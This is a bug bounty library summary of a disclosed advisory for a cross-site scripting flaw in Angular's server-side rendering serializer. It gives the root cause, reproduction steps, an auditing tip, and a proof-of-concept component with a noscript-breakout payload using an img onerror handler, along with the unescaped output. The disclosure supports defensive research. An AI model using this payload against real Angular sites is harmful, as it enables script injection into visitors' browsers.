# Angular: SSR XSS via Unescaped <template> Content Across DocumentFragment Boundaries in Fallback Raw-Content Elements

Angular SSR serializer stops ancestor traversal at template.content's DocumentFragment, so `</noscript>` inside a template nested in `<noscript>` is emitted unescaped, breaking out to XSS.

- Payout: Research
- Severity: high
- Program: Angular
- Found by: mabjr33
- Disclosed: 2026-09-10
- CVE: CVE-2026-88060
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-v3p8-whq6-r5jg
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-v3p8-whq6-r5jg
- Tags: area:web domain:web impact:integrity kind:research platform:ghsa sev:high tech:nodejs technique:parser-differential technique:source-review vuln:xss

**Target:** @angular/platform-server SSR HTML serializer
**Root cause:** The serializer's ancestor walk only inspected element nodes and terminated at the DocumentFragment boundary of template.content (parentNode null), so enclosing fallback raw-content ancestors like `<noscript>` were never found and matching closing tags were not escaped.
**Steps:**
1. Render a component whose template nests `<template>` inside `<noscript>` with `<xmp>{{ payload }}</xmp>` inside the template.
2. Bind attacker input: `payload = '</noscript><img src=x onerror=alert("SSR_TEMPLATE_XSS")>'`.
3. Observe SSR output: `<noscript><template><xmp></noscript><img src=x onerror=alert("SSR_TEMPLATE_XSS")></xmp></template></noscript>` — the closing tag is unescaped.
4. Load the page in a browser: the `</noscript>` terminates the RAWTEXT container and the img executes onerror.
**How found:** Reasoned about HTML5 RAWTEXT parsing of fallback elements and the serializer's ancestor-based escaping, then noticed template children live in a DocumentFragment with null parentNode, so the element-only ancestor traversal never reaches the outer `<noscript>`.
**Exploitation:** Attacker-controlled text interpolated into template content inside a fallback raw-content element is serialized without escaping the matching end tag; the browser's RAWTEXT tokenizer exits the container early and parses trailing markup as active DOM, executing script.
**Insight:** When auditing SSR serializers, check whether ancestor/context lookups cross DocumentFragment boundaries (template.content, shadow roots) — escaping logic keyed on ancestor inspection silently loses context there.

## Proof of concept (copied exactly from the original report)

**Angular component PoC with noscript/template/xmp payload**

```
import { Component } from '@angular/core';

@Component({
  selector: 'app-root',
  standalone: true,
  template: `
    <noscript>
      <template>
        <xmp>{{ payload }}</xmp>
      </template>
    </noscript>
  `
})
export class AppComponent {
  // Attacker-controlled input bound via standard text interpolation
  payload = '</noscript><img src=x onerror=alert("SSR_TEMPLATE_XSS")>';
```

**Vulnerable SSR output showing unescaped closing tag**

```
<noscript><template><xmp></noscript><img src=x onerror=alert("SSR_TEMPLATE_XSS")></xmp></template></noscript>
```

